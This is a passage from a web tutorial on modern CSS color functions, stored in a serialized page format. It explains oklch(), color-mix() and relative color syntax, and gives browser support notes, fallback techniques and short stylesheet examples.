Colorfulness\u002Fsaturation (0 = gray, higher = more vivid)",[44,272333,272334,272336],{},[47,272335,29099],{}," (0-360): Same as hsl()—the color wheel position",[33,272338,272340],{"id":272339},"why-oklch-is-superior","Why oklch() is Superior",[77,272342,272343,272352,272363,272368],{},[44,272344,272345,1663,272348,272351],{},[47,272346,272347],{},"Predictable lightness",[143,272349,272350],{},"oklch(60% ...)"," always appears at the same perceptual lightness regardless of hue",[44,272353,272354,1663,272357,272359,272360,272362],{},[47,272355,272356],{},"Better gradients",[143,272358,31383],{}," gradients can look muddy in the middle; ",[143,272361,51040],{}," stays vibrant",[44,272364,272365,272367],{},[47,272366,837],{},": Easier to create accessible color pairs with consistent contrast ratios",[44,272369,272370,272373],{},[47,272371,272372],{},"Wide gamut",": Supports colors beyond sRGB (P3, Rec.2020)",[135,272375,272377],{"className":1554,"code":272376,"language":1556,"meta":141,"style":141},"\u002F* Compare these gradients *\u002F\n.hsl-gradient {\n  background: linear-gradient(\n    to right,\n    hsl(0 100% 50%),\n    hsl(120 100% 50%),\n    hsl(240 100% 50%)\n  );\n  \u002F* Notice the dark, muddy center *\u002F\n}\n\n.oklch-gradient {\n  background: linear-gradient(\n    to right,\n    oklch(65% 0.25 29),   \u002F* Red *\u002F\n    oklch(65% 0.25 142),  \u002F* Green *\u002F\n    oklch(65% 0.25 264)   \u002F* Blue *\u002F\n  );\n  \u002F* Consistent perceptual lightness throughout *\u002F\n}\n",[143,272378,272379,272384,272391,272401,272409,272428,272446,272464,272468,272473,272477,272481,272488,272498,272506,272526,272546,272564,272568,272573],{"__ignoreMap":141},[1560,272380,272381],{"class":1562,"line":1563},[1560,272382,272383],{"class":1649},"\u002F* Compare these gradients *\u002F\n",[1560,272385,272386,272389],{"class":1562,"line":337},[1560,272387,272388],{"class":1566},".hsl-gradient",[1560,272390,1571],{"class":1570},[1560,272392,272393,272395,272397,272399],{"class":1562,"line":343},[1560,272394,5665],{"class":1576},[1560,272396,1663],{"class":1570},[1560,272398,46356],{"class":1576},[1560,272400,35957],{"class":1570},[1560,272402,272403,272405,272407],{"class":1562,"line":365},[1560,272404,56360],{"class":1669},[1560,272406,159981],{"class":1576},[1560,272408,11943],{"class":1570},[1560,272410,272411,272414,272416,272418,272420,272422,272424,272426],{"class":1562,"line":889},[1560,272412,272413],{"class":1576},"    hsl",[1560,272415,1688],{"class":1570},[1560,272417,5285],{"class":1576},[1560,272419,35878],{"class":1576},[1560,272421,17990],{"class":1669},[1560,272423,18318],{"class":1576},[1560,272425,17990],{"class":1669},[1560,272427,19216],{"class":1570},[1560,272429,272430,272432,272434,272436,272438,272440,272442,272444],{"class":1562,"line":1710},[1560,272431,272413],{"class":1576},[1560,272433,1688],{"class":1570},[1560,272435,18034],{"class":1576},[1560,272437,35878],{"class":1576},[1560,272439,17990],{"class":1669},[1560,272441,18318],{"class":1576},[1560,272443,17990],{"class":1669},[1560,272445,19216],{"class":1570},[1560,272447,272448,272450,272452,272454,272456,272458,272460,272462],{"class":1562,"line":1717},[1560,272449,272413],{"class":1576},[1560,272451,1688],{"class":1570},[1560,272453,14865],{"class":1576},[1560,272455,35878],{"class":1576},[1560,272457,17990],{"class":1669},[1560,272459,18318],{"class":1576},[1560,272461,17990],{"class":1669},[1560,272463,8252],{"class":1570},[1560,272465,272466],{"class":1562,"line":1747},[1560,272467,36075],{"class":1570},[1560,272469,272470],{"class":1562,"line":2507},[1560,272471,272472],{"class":1649},"  \u002F* Notice the dark, muddy center *\u002F\n",[1560,272474,272475],{"class":1562,"line":2524},[1560,272476,1585],{"class":1570},[1560,272478,272479],{"class":1562,"line":2529},[1560,272480,1702],{"emptyLinePlaceholder":363},[1560,272482,272483,272486],{"class":1562,"line":2534},[1560,272484,272485],{"class":1566},".oklch-gradient",[1560,272487,1571],{"class":1570},[1560,272489,272490,272492,272494,272496],{"class":1562,"line":2542},[1560,272491,5665],{"class":1576},[1560,272493,1663],{"class":1570},[1560,272495,46356],{"class":1576},[1560,272497,35957],{"class":1570},[1560,272499,272500,272502,272504],{"class":1562,"line":2558},[1560,272501,56360],{"class":1669},[1560,272503,159981],{"class":1576},[1560,272505,11943],{"class":1570},[1560,272507,272508,272511,272513,272515,272517,272519,272522,272524],{"class":1562,"line":2570},[1560,272509,272510],{"class":1576},"    oklch",[1560,272512,1688],{"class":1570},[1560,272514,4836],{"class":1576},[1560,272516,17990],{"class":1669},[1560,272518,171655],{"class":1576},[1560,272520,272521],{"class":1576}," 29",[1560,272523,47735],{"class":1570},[1560,272525,114592],{"class":1649},[1560,272527,272528,272530,272532,272534,272536,272538,272541,272544],{"class":1562,"line":6638},[1560,272529,272510],{"class":1576},[1560,272531,1688],{"class":1570},[1560,272533,4836],{"class":1576},[1560,272535,17990],{"class":1669},[1560,272537,171655],{"class":1576},[1560,272539,272540],{"class":1576}," 142",[1560,272542,272543],{"class":1570},"),  ",[1560,272545,264462],{"class":1649},[1560,272547,272548,272550,272552,272554,272556,272558,272560,272562],{"class":1562,"line":11615},[1560,272549,272510],{"class":1576},[1560,272551,1688],{"class":1570},[1560,272553,4836],{"class":1576},[1560,272555,17990],{"class":1669},[1560,272557,171655],{"class":1576},[1560,272559,30422],{"class":1576},[1560,272561,10081],{"class":1570},[1560,272563,264496],{"class":1649},[1560,272565,272566],{"class":1562,"line":11621},[1560,272567,36075],{"class":1570},[1560,272569,272570],{"class":1562,"line":11633},[1560,272571,272572],{"class":1649},"  \u002F* Consistent perceptual lightness throughout *\u002F\n",[1560,272574,272575],{"class":1562,"line":11638},[1560,272576,1585],{"class":1570},[11,272578,272580],{"id":272579},"color-mix-blending-colors-in-css","color-mix(): Blending Colors in CSS",[16,272582,421,272583,272585],{},[143,272584,51116],{}," function allows you to blend two colors directly in CSS, similar to mixing paint:",[135,272587,272589],{"className":1554,"code":272588,"language":1556,"meta":141,"style":141},".mixed-colors {\n  \u002F* Mix 50% blue with 50% white in sRGB *\u002F\n  background-color: color-mix(in srgb, blue, white);\n  \n  \u002F* 75% red, 25% black *\u002F\n  color: color-mix(in srgb, red 75%, black);\n  \n  \u002F* Mix in different color spaces *\u002F\n  border-color: color-mix(in oklch, blue, white);\n}\n",[143,272590,272591,272598,272603,272627,272631,272636,272664,272668,272673,272697],{"__ignoreMap":141},[1560,272592,272593,272596],{"class":1562,"line":1563},[1560,272594,272595],{"class":1566},".mixed-colors",[1560,272597,1571],{"class":1570},[1560,272599,272600],{"class":1562,"line":337},[1560,272601,272602],{"class":1649},"  \u002F* Mix 50% blue with 50% white in sRGB *\u002F\n",[1560,272604,272605,272607,272609,272611,272613,272615,272617,272619,272621,272623,272625],{"class":1562,"line":343},[1560,272606,2492],{"class":1576},[1560,272608,1663],{"class":1570},[1560,272610,51115],{"class":1576},[1560,272612,1688],{"class":1570},[1560,272614,7953],{"class":2219},[1560,272616,55159],{"class":1576},[1560,272618,1459],{"class":1570},[1560,272620,50596],{"class":1576},[1560,272622,1459],{"class":1570},[1560,272624,2565],{"class":1576},[1560,272626,1744],{"class":1570},[1560,272628,272629],{"class":1562,"line":365},[1560,272630,271864],{"class":1570},[1560,272632,272633],{"class":1562,"line":889},[1560,272634,272635],{"class":1649},"  \u002F* 75% red, 25% black *\u002F\n",[1560,272637,272638,272640,272642,272644,272646,272648,272650,272652,272654,272656,272658,272660,272662],{"class":1562,"line":1710},[1560,272639,2510],{"class":1576},[1560,272641,1663],{"class":1570},[1560,272643,51115],{"class":1576},[1560,272645,1688],{"class":1570},[1560,272647,7953],{"class":2219},[1560,272649,55159],{"class":1576},[1560,272651,1459],{"class":1570},[1560,272653,12651],{"class":1576},[1560,272655,75708],{"class":1576},[1560,272657,17990],{"class":1669},[1560,272659,1459],{"class":1570},[1560,272661,153190],{"class":1576},[1560,272663,1744],{"class":1570},[1560,272665,272666],{"class":1562,"line":1717},[1560,272667,271864],{"class":1570},[1560,272669,272670],{"class":1562,"line":1747},[1560,272671,272672],{"class":1649},"  \u002F* Mix in different color spaces *\u002F\n",[1560,272674,272675,272677,272679,272681,272683,272685,272687,272689,272691,272693,272695],{"class":1562,"line":2507},[1560,272676,17331],{"class":1576},[1560,272678,1663],{"class":1570},[1560,272680,51115],{"class":1576},[1560,272682,1688],{"class":1570},[1560,272684,7953],{"class":2219},[1560,272686,51147],{"class":2219},[1560,272688,1459],{"class":1570},[1560,272690,50596],{"class":1576},[1560,272692,1459],{"class":1570},[1560,272694,2565],{"class":1576},[1560,272696,1744],{"class":1570},[1560,272698,272699],{"class":1562,"line":2524},[1560,272700,1585],{"class":1570},[33,272702,47367],{"id":47366},[135,272704,272706],{"className":1554,"code":272705,"language":1556,"meta":141,"style":141},"color-mix(in \u003Ccolorspace>, \u003Ccolor1> [\u003Cpercentage>], \u003Ccolor2> [\u003Cpercentage>])\n",[143,272707,272708],{"__ignoreMap":141},[1560,272709,272710,272713,272715,272718,272720,272723,272725],{"class":1562,"line":1563},[1560,272711,272712],{"class":1570},"color-mix(in \u003Ccolorspace",[1560,272714,28226],{"class":1669},[1560,272716,272717],{"class":1570},", \u003Ccolor1",[1560,272719,28226],{"class":1669},[1560,272721,272722],{"class":1570}," [\u003Cpercentage>], \u003Ccolor2",[1560,272724,28226],{"class":1669},[1560,272726,272727],{"class":1570}," [\u003Cpercentage>])\n",[41,272729,272730,272746,272752],{},[44,272731,272732,1663,272735,1459,272738,1459,272740,1459,272742,272745],{},[143,272733,272734],{},"\u003Ccolorspace>",[143,272736,272737],{},"srgb",[143,272739,30410],{},[143,272741,50903],{},[143,272743,272744],{},"lab",", etc.",[44,272747,272748,272751],{},[143,272749,272750],{},"\u003Ccolor>",": Any valid CSS color",[44,272753,272754,272757],{},[143,272755,272756],{},"\u003Cpercentage>",": How much of that color to use (defaults to 50%)",[135,272759,272761],{"className":1554,"code":272760,"language":1556,"meta":141,"style":141},".practical-mixing {\n  --brand-color: oklch(60% 0.2 264);\n  \n  \u002F* Create hover state by mixing with white *\u002F\n  --brand-hover: color-mix(in oklch, var(--brand-color), white 20%);\n  \n  \u002F* Create active state by mixing with black *\u002F\n  --brand-active: color-mix(in oklch, var(--brand-color), black 20%);\n  \n  \u002F* Create disabled state *\u002F\n  --brand-disabled: color-mix(in oklch, var(--brand-color), white 60%);\n}\n",[143,272762,272763,272770,272791,272795,272800,272834,272838,272843,272876,272880,272885,272918],{"__ignoreMap":141},[1560,272764,272765,272768],{"class":1562,"line":1563},[1560,272766,272767],{"class":1566},".practical-mixing",[1560,272769,1571],{"class":1570},[1560,272771,272772,272775,272777,272779,272781,272783,272785,272787,272789],{"class":1562,"line":337},[1560,272773,272774],{"class":2219},"  --brand-color",[1560,272776,1663],{"class":1570},[1560,272778,30410],{"class":1576},[1560,272780,1688],{"class":1570},[1560,272782,18333],{"class":1576},[1560,272784,17990],{"class":1669},[1560,272786,30419],{"class":1576},[1560,272788,30422],{"class":1576},[1560,272790,1744],{"class":1570},[1560,272792,272793],{"class":1562,"line":343},[1560,272794,271864],{"class":1570},[1560,272796,272797],{"class":1562,"line":365},[1560,272798,272799],{"class":1649},"  \u002F* Create hover state by mixing with white *\u002F\n",[1560,272801,272802,272805,272807,272809,272811,272813,272815,272817,272819,272821,272824,272826,272828,272830,272832],{"class":1562,"line":889},[1560,272803,272804],{"class":2219},"  --brand-hover",[1560,272806,1663],{"class":1570},[1560,272808,51115],{"class":1576},[1560,272810,1688],{"class":1570},[1560,272812,7953],{"class":2219},[1560,272814,51147],{"class":2219},[1560,272816,1459],{"class":1570},[1560,272818,2497],{"class":1576},[1560,272820,1688],{"class":1570},[1560,272822,272823],{"class":2219},"--brand-color",[1560,272825,18895],{"class":1570},[1560,272827,2565],{"class":1576},[1560,272829,45999],{"class":1576},[1560,272831,17990],{"class":1669},[1560,272833,1744],{"class":1570},[1560,272835,272836],{"class":1562,"line":1710},[1560,272837,271864],{"class":1570},[1560,272839,272840],{"class":1562,"line":1717},[1560,272841,272842],{"class":1649},"  \u002F* Create active state by mixing with black *\u002F\n",[1560,272844,272845,272848,272850,272852,272854,272856,272858,272860,272862,272864,272866,272868,272870,272872,272874],{"class":1562,"line":1747},[1560,272846,272847],{"class":2219},"  --brand-active",[1560,272849,1663],{"class":1570},[1560,272851,51115],{"class":1576},[1560,272853,1688],{"class":1570},[1560,272855,7953],{"class":2219},[1560,272857,51147],{"class":2219},[1560,272859,1459],{"class":1570},[1560,272861,2497],{"class":1576},[1560,272863,1688],{"class":1570},[1560,272865,272823],{"class":2219},[1560,272867,18895],{"class":1570},[1560,272869,153190],{"class":1576},[1560,272871,45999],{"class":1576},[1560,272873,17990],{"class":1669},[1560,272875,1744],{"class":1570},[1560,272877,272878],{"class":1562,"line":2507},[1560,272879,271864],{"class":1570},[1560,272881,272882],{"class":1562,"line":2524},[1560,272883,272884],{"class":1649},"  \u002F* Create disabled state *\u002F\n",[1560,272886,272887,272890,272892,272894,272896,272898,272900,272902,272904,272906,272908,272910,272912,272914,272916],{"class":1562,"line":2529},[1560,272888,272889],{"class":2219},"  --brand-disabled",[1560,272891,1663],{"class":1570},[1560,272893,51115],{"class":1576},[1560,272895,1688],{"class":1570},[1560,272897,7953],{"class":2219},[1560,272899,51147],{"class":2219},[1560,272901,1459],{"class":1570},[1560,272903,2497],{"class":1576},[1560,272905,1688],{"class":1570},[1560,272907,272823],{"class":2219},[1560,272909,18895],{"class":1570},[1560,272911,2565],{"class":1576},[1560,272913,18338],{"class":1576},[1560,272915,17990],{"class":1669},[1560,272917,1744],{"class":1570},[1560,272919,272920],{"class":1562,"line":2534},[1560,272921,1585],{"class":1570},[11,272923,51197],{"id":51196},[16,272925,272926],{},"Relative color syntax lets you transform existing colors mathematically:",[135,272928,272930],{"className":1554,"code":272929,"language":1556,"meta":141,"style":141},".relative-example {\n  --base-color: oklch(60% 0.2 264);\n  \n  \u002F* Increase lightness by 10% *\u002F\n  background-color: oklch(from var(--base-color) l+10% c h);\n  \n  \u002F* Reduce saturation to half *\u002F\n  color: oklch(from var(--base-color) l c\u002F2 h);\n  \n  \u002F* Rotate hue by 180 degrees (complementary) *\u002F\n  border-color: oklch(from var(--base-color) l c h+180);\n}\n",[143,272931,272932,272939,272960,272964,272969,272996,273000,273005,273029,273033,273038,273061],{"__ignoreMap":141},[1560,272933,272934,272937],{"class":1562,"line":1563},[1560,272935,272936],{"class":1566},".relative-example",[1560,272938,1571],{"class":1570},[1560,272940,272941,272944,272946,272948,272950,272952,272954,272956,272958],{"class":1562,"line":337},[1560,272942,272943],{"class":2219},"  --base-color",[1560,272945,1663],{"class":1570},[1560,272947,30410],{"class":1576},[1560,272949,1688],{"class":1570},[1560,272951,18333],{"class":1576},[1560,272953,17990],{"class":1669},[1560,272955,30419],{"class":1576},[1560,272957,30422],{"class":1576},[1560,272959,1744],{"class":1570},[1560,272961,272962],{"class":1562,"line":343},[1560,272963,271864],{"class":1570},[1560,272965,272966],{"class":1562,"line":365},[1560,272967,272968],{"class":1649},"  \u002F* Increase lightness by 10% *\u002F\n",[1560,272970,272971,272973,272975,272977,272979,272981,272983,272986,272989,272991,272993],{"class":1562,"line":889},[1560,272972,2492],{"class":1576},[1560,272974,1663],{"class":1570},[1560,272976,30410],{"class":1576},[1560,272978,51233],{"class":1570},[1560,272980,2497],{"class":1576},[1560,272982,1688],{"class":1570},[1560,272984,272985],{"class":2219},"--base-color",[1560,272987,272988],{"class":1570},") l+",[1560,272990,36197],{"class":1576},[1560,272992,17990],{"class":1669},[1560,272994,272995],{"class":1570}," c h);\n",[1560,272997,272998],{"class":1562,"line":1710},[1560,272999,271864],{"class":1570},[1560,273001,273002],{"class":1562,"line":1717},[1560,273003,273004],{"class":1649},"  \u002F* Reduce saturation to half *\u002F\n",[1560,273006,273007,273009,273011,273013,273015,273017,273019,273021,273024,273026],{"class":1562,"line":1747},[1560,273008,2510],{"class":1576},[1560,273010,1663],{"class":1570},[1560,273012,30410],{"class":1576},[1560,273014,51233],{"class":1570},[1560,273016,2497],{"class":1576},[1560,273018,1688],{"class":1570},[1560,273020,272985],{"class":2219},[1560,273022,273023],{"class":1570},") l c\u002F",[1560,273025,10099],{"class":1576},[1560,273027,273028],{"class":1570}," h);\n",[1560,273030,273031],{"class":1562,"line":2507},[1560,273032,271864],{"class":1570},[1560,273034,273035],{"class":1562,"line":2524},[1560,273036,273037],{"class":1649},"  \u002F* Rotate hue by 180 degrees (complementary) *\u002F\n",[1560,273039,273040,273042,273044,273046,273048,273050,273052,273054,273057,273059],{"class":1562,"line":2529},[1560,273041,17331],{"class":1576},[1560,273043,1663],{"class":1570},[1560,273045,30410],{"class":1576},[1560,273047,51233],{"class":1570},[1560,273049,2497],{"class":1576},[1560,273051,1688],{"class":1570},[1560,273053,272985],{"class":2219},[1560,273055,273056],{"class":1570},") l c h+",[1560,273058,35584],{"class":1576},[1560,273060,1744],{"class":1570},[1560,273062,273063],{"class":1562,"line":2534},[1560,273064,1585],{"class":1570},[33,273066,421,273068,273070],{"id":273067},"the-from-keyword",[143,273069,8168],{}," Keyword",[16,273072,421,273073,273076],{},[143,273074,273075],{},"from \u003Ccolor>"," syntax extracts components into variables you can modify:",[135,273078,273080],{"className":1554,"code":273079,"language":1556,"meta":141,"style":141},".component {\n  --input: oklch(70% 0.1 264);\n  \n  \u002F* Create a palette from one base color *\u002F\n  --input-bg: oklch(from var(--input) l+20% c h);\n  --input-border: oklch(from var(--input) l-10% c h);\n  --input-focus: oklch(from var(--input) l c+0.1 h);\n  --input-error: oklch(from var(--input) l c h+30); \u002F* Shift hue slightly *\u002F\n}\n",[143,273081,273082,273089,273110,273114,273119,273145,273165,273189,273215],{"__ignoreMap":141},[1560,273083,273084,273087],{"class":1562,"line":1563},[1560,273085,273086],{"class":1566},".component",[1560,273088,1571],{"class":1570},[1560,273090,273091,273094,273096,273098,273100,273102,273104,273106,273108],{"class":1562,"line":337},[1560,273092,273093],{"class":2219},"  --input",[1560,273095,1663],{"class":1570},[1560,273097,30410],{"class":1576},[1560,273099,1688],{"class":1570},[1560,273101,47166],{"class":1576},[1560,273103,17990],{"class":1669},[1560,273105,51253],{"class":1576},[1560,273107,30422],{"class":1576},[1560,273109,1744],{"class":1570},[1560,273111,273112],{"class":1562,"line":343},[1560,273113,271864],{"class":1570},[1560,273115,273116],{"class":1562,"line":365},[1560,273117,273118],{"class":1649},"  \u002F* Create a palette from one base color *\u002F\n",[1560,273120,273121,273124,273126,273128,273130,273132,273134,273137,273139,273141,273143],{"class":1562,"line":889},[1560,273122,273123],{"class":2219},"  --input-bg",[1560,273125,1663],{"class":1570},[1560,273127,30410],{"class":1576},[1560,273129,51233],{"class":1570},[1560,273131,2497],{"class":1576},[1560,273133,1688],{"class":1570},[1560,273135,273136],{"class":2219},"--input",[1560,273138,272988],{"class":1570},[1560,273140,12391],{"class":1576},[1560,273142,17990],{"class":1669},[1560,273144,272995],{"class":1570},[1560,273146,273147,273150,273152,273154,273156,273158,273160,273162],{"class":1562,"line":1710},[1560,273148,273149],{"class":2219},"  --input-border",[1560,273151,1663],{"class":1570},[1560,273153,30410],{"class":1576},[1560,273155,51233],{"class":1570},[1560,273157,2497],{"class":1576},[1560,273159,1688],{"class":1570},[1560,273161,273136],{"class":2219},[1560,273163,273164],{"class":1570},") l-10% c h);\n",[1560,273166,273167,273170,273172,273174,273176,273178,273180,273182,273185,273187],{"class":1562,"line":1717},[1560,273168,273169],{"class":2219},"  --input-focus",[1560,273171,1663],{"class":1570},[1560,273173,30410],{"class":1576},[1560,273175,51233],{"class":1570},[1560,273177,2497],{"class":1576},[1560,273179,1688],{"class":1570},[1560,273181,273136],{"class":2219},[1560,273183,273184],{"class":1570},") l c+",[1560,273186,46961],{"class":1576},[1560,273188,273028],{"class":1570},[1560,273190,273191,273194,273196,273198,273200,273202,273204,273206,273208,273210,273212],{"class":1562,"line":1747},[1560,273192,273193],{"class":2219},"  --input-error",[1560,273195,1663],{"class":1570},[1560,273197,30410],{"class":1576},[1560,273199,51233],{"class":1570},[1560,273201,2497],{"class":1576},[1560,273203,1688],{"class":1570},[1560,273205,273136],{"class":2219},[1560,273207,273056],{"class":1570},[1560,273209,23995],{"class":1576},[1560,273211,5171],{"class":1570},[1560,273213,273214],{"class":1649},"\u002F* Shift hue slightly *\u002F\n",[1560,273216,273217],{"class":1562,"line":2507},[1560,273218,1585],{"class":1570},[11,273220,273222],{"id":273221},"browser-support-and-fallbacks","Browser Support and Fallbacks",[33,273224,273226],{"id":273225},"current-support-as-of-2026","Current Support (as of 2026)",[193,273228,273229,273244],{},[196,273230,273231],{},[199,273232,273233,273235,273238,273240,273242],{},[202,273234,43834],{},[202,273236,273237],{},"Chrome\u002FEdge",[202,273239,5542],{},[202,273241,5550],{},[202,273243,2683],{},[211,273245,273246,273265,273279,273296,273310],{},[199,273247,273248,273253,273256,273259,273262],{},[216,273249,273250,273252],{},[143,273251,28868],{}," modern syntax",[216,273254,273255],{},"✅ 90+",[216,273257,273258],{},"✅ 103+",[216,273260,273261],{},"✅ 15+",[216,273263,273264],{},"Widely supported",[199,273266,273267,273271,273273,273275,273277],{},[216,273268,273269,273252],{},[143,273270,31383],{},[216,273272,273255],{},[216,273274,273258],{},[216,273276,273261],{},[216,273278,273264],{},[199,273280,273281,273285,273288,273291,273294],{},[216,273282,273283],{},[143,273284,51040],{},[216,273286,273287],{},"✅ 111+",[216,273289,273290],{},"✅ 113+",[216,273292,273293],{},"✅ 16.4+",[216,273295,87446],{},[199,273297,273298,273302,273304,273306,273308],{},[216,273299,273300],{},[143,273301,51116],{},[216,273303,273287],{},[216,273305,273290],{},[216,273307,273293],{},[216,273309,87446],{},[199,273311,273312,273314,273317,273320,273323],{},[216,273313,51372],{},[216,273315,273316],{},"✅ 119+",[216,273318,273319],{},"✅ 118+",[216,273321,273322],{},"✅ 17+",[216,273324,273325],{},"Very new",[33,273327,273329],{"id":273328},"providing-fallbacks","Providing Fallbacks",[135,273331,273333],{"className":1554,"code":273332,"language":1556,"meta":141,"style":141},".with-fallbacks {\n  \u002F* Start with hex fallback *\u002F\n  background-color: #3B82F6;\n  \n  \u002F* Modern rgb() *\u002F\n  background-color: rgb(59 130 246);\n  \n  \u002F* Modern hsl() *\u002F\n  background-color: hsl(217 91% 60%);\n  \n  \u002F* Cutting-edge oklch() *\u002F\n  background-color: oklch(60% 0.2 264);\n}\n\n\u002F* Or use @supports *\u002F\n@supports (background-color: oklch(0% 0 0)) {\n  .modern-only {\n    background-color: oklch(60% 0.2 264);\n  }\n}\n",[143,273334,273335,273342,273347,273357,273361,273366,273384,273388,273393,273415,273419,273424,273444,273448,273452,273457,273481,273488,273509,273513],{"__ignoreMap":141},[1560,273336,273337,273340],{"class":1562,"line":1563},[1560,273338,273339],{"class":1566},".with-fallbacks",[1560,273341,1571],{"class":1570},[1560,273343,273344],{"class":1562,"line":337},[1560,273345,273346],{"class":1649},"  \u002F* Start with hex fallback *\u002F\n",[1560,273348,273349,273351,273353,273355],{"class":1562,"line":343},[1560,273350,2492],{"class":1576},[1560,273352,1663],{"class":1570},[1560,273354,2260],{"class":1576},[1560,273356,2228],{"class":1570},[1560,273358,273359],{"class":1562,"line":365},[1560,273360,271864],{"class":1570},[1560,273362,273363],{"class":1562,"line":889},[1560,273364,273365],{"class":1649},"  \u002F* Modern rgb() *\u002F\n",[1560,273367,273368,273370,273372,273374,273376,273378,273380,273382],{"class":1562,"line":1710},[1560,273369,2492],{"class":1576},[1560,273371,1663],{"class":1570},[1560,273373,30141],{"class":1576},[1560,273375,1688],{"class":1570},[1560,273377,19995],{"class":1576},[1560,273379,30148],{"class":1576},[1560,273381,30151],{"class":1576},[1560,273383,1744],{"class":1570},[1560,273385,273386],{"class":1562,"line":1717},[1560,273387,271864],{"class":1570},[1560,273389,273390],{"class":1562,"line":1747},[1560,273391,273392],{"class":1649},"  \u002F* Modern hsl() *\u002F\n",[1560,273394,273395,273397,273399,273401,273403,273405,273407,273409,273411,273413],{"class":1562,"line":2507},[1560,273396,2492],{"class":1576},[1560,273398,1663],{"class":1570},[1560,273400,50903],{"class":1576},[1560,273402,1688],{"class":1570},[1560,273404,271793],{"class":1576},[1560,273406,36013],{"class":1576},[1560,273408,17990],{"class":1669},[1560,273410,18338],{"class":1576},[1560,273412,17990],{"class":1669},[1560,273414,1744],{"class":1570},[1560,273416,273417],{"class":1562,"line":2524},[1560,273418,271864],{"class":1570},[1560,273420,273421],{"class":1562,"line":2529},[1560,273422,273423],{"class":1649},"  \u002F* Cutting-edge oklch() *\u002F\n",[1560,273425,273426,273428,273430,273432,273434,273436,273438,273440,273442],{"class":1562,"line":2534},[1560,273427,2492],{"class":1576},[1560,273429,1663],{"class":1570},[1560,273431,30410],{"class":1576},[1560,273433,1688],{"class":1570},[1560,273435,18333],{"class":1576},[1560,273437,17990],{"class":1669},[1560,273439,30419],{"class":1576},[1560,273441,30422],{"class":1576},[1560,273443,1744],{"class":1570},[1560,273445,273446],{"class":1562,"line":2542},[1560,273447,1585],{"class":1570},[1560,273449,273450],{"class":1562,"line":2558},[1560,273451,1702],{"emptyLinePlaceholder":363},[1560,273453,273454],{"class":1562,"line":2570},[1560,273455,273456],{"class":1649},"\u002F* Or use @supports *\u002F\n",[1560,273458,273459,273461,273463,273465,273467,273469,273471,273473,273475,273477,273479],{"class":1562,"line":6638},[1560,273460,51387],{"class":1669},[1560,273462,5181],{"class":1570},[1560,273464,51625],{"class":1576},[1560,273466,1663],{"class":1570},[1560,273468,30410],{"class":1576},[1560,273470,1688],{"class":1570},[1560,273472,5285],{"class":1576},[1560,273474,17990],{"class":1669},[1560,273476,13541],{"class":1576},[1560,273478,13541],{"class":1576},[1560,273480,76199],{"class":1570},[1560,273482,273483,273486],{"class":1562,"line":11615},[1560,273484,273485],{"class":1566},"  .modern-only",[1560,273487,1571],{"class":1570},[1560,273489,273490,273493,273495,273497,273499,273501,273503,273505,273507],{"class":1562,"line":11621},[1560,273491,273492],{"class":1576},"    background-color",[1560,273494,1663],{"class":1570},[1560,273496,30410],{"class":1576},[1560,273498,1688],{"class":1570},[1560,273500,18333],{"class":1576},[1560,273502,17990],{"class":1669},[1560,273504,30419],{"class":1576},[1560,273506,30422],{"class":1576},[1560,273508,1744],{"class":1570},[1560,273510,273511],{"class":1562,"line":11633},[1560,273512,4959],{"class":1570},[1560,273514,273515],{"class":1562,"line":11638},[1560,273516,1585],{"class":1570},[11,273518,273520],{"id":273519},"practical-tips-for-adoption","Practical Tips for Adoption",[77,273522,273523,273529,273535,273541,273547],{},[44,273524,273525,273528],{},[47,273526,273527],{},"Use CSS custom properties",": Define colors once and reference them everywhere",[44,273530,273531,273534],{},[47,273532,273533],{},"Start with hsl()",": It's well-supported and intuitive for creating palettes",[44,273536,273537,273540],{},[47,273538,273539],{},"Experiment with oklch()",": Use for new projects where browser support allows",[44,273542,273543,273546],{},[47,273544,273545],{},"Leverage color-mix()",": Great for hover\u002Factive states without defining new variables",[44,273548,273549,273552],{},[47,273550,273551],{},"Test in both light and dark modes",": Modern color functions make this much easier",[135,273554,273556],{"className":1554,"code":273555,"language":1556,"meta":141,"style":141},":root {\n  --hue: 217;\n  --primary: hsl(var(--hue) 91% 60%);\n}\n\n[data-theme=\"dark\"] {\n  --primary: hsl(var(--hue) 91% 70%); \u002F* Lighter for dark mode *\u002F\n}\n",[143,273557,273558,273564,273575,273604,273608,273612,273624,273655],{"__ignoreMap":141},[1560,273559,273560,273562],{"class":1562,"line":1563},[1560,273561,2207],{"class":1566},[1560,273563,1571],{"class":1570},[1560,273565,273566,273569,273571,273573],{"class":1562,"line":337},[1560,273567,273568],{"class":2219},"  --hue",[1560,273570,1663],{"class":1570},[1560,273572,271793],{"class":1576},[1560,273574,2228],{"class":1570},[1560,273576,273577,273579,273581,273583,273585,273587,273589,273592,273594,273596,273598,273600,273602],{"class":1562,"line":343},[1560,273578,52548],{"class":2219},[1560,273580,1663],{"class":1570},[1560,273582,50903],{"class":1576},[1560,273584,1688],{"class":1570},[1560,273586,2497],{"class":1576},[1560,273588,1688],{"class":1570},[1560,273590,273591],{"class":2219},"--hue",[1560,273593,1733],{"class":1570},[1560,273595,247012],{"class":1576},[1560,273597,17990],{"class":1669},[1560,273599,18338],{"class":1576},[1560,273601,17990],{"class":1669},[1560,273603,1744],{"class":1570},[1560,273605,273606],{"class":1562,"line":365},[1560,273607,1585],{"class":1570},[1560,273609,273610],{"class":1562,"line":889},[1560,273611,1702],{"emptyLinePlaceholder":363},[1560,273613,273614,273616,273618,273620,273622],{"class":1562,"line":1710},[1560,273615,24385],{"class":1570},[1560,273617,56005],{"class":1566},[1560,273619,7297],{"class":1669},[1560,273621,56010],{"class":5634},[1560,273623,56013],{"class":1570},[1560,273625,273626,273628,273630,273632,273634,273636,273638,273640,273642,273644,273646,273648,273650,273652],{"class":1562,"line":1717},[1560,273627,52548],{"class":2219},[1560,273629,1663],{"class":1570},[1560,273631,50903],{"class":1576},[1560,273633,1688],{"class":1570},[1560,273635,2497],{"class":1576},[1560,273637,1688],{"class":1570},[1560,273639,273591],{"class":2219},[1560,273641,1733],{"class":1570},[1560,273643,247012],{"class":1576},[1560,273645,17990],{"class":1669},[1560,273647,35515],{"class":1576},[1560,273649,17990],{"class":1669},[1560,273651,5171],{"class":1570},[1560,273653,273654],{"class":1649},"\u002F* Lighter for dark mode *\u002F\n",[1560,273656,273657],{"class":1562,"line":1747},[1560,273658,1585],{"class":1570},[11,273660,257800],{"id":257799},[41,273662,273663],{},[44,273664,273665,273667],{},[98,273666,18588],{"href":18587}," - Convert between HEX, RGB, and HSL formats",[2043,273669,273670],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki 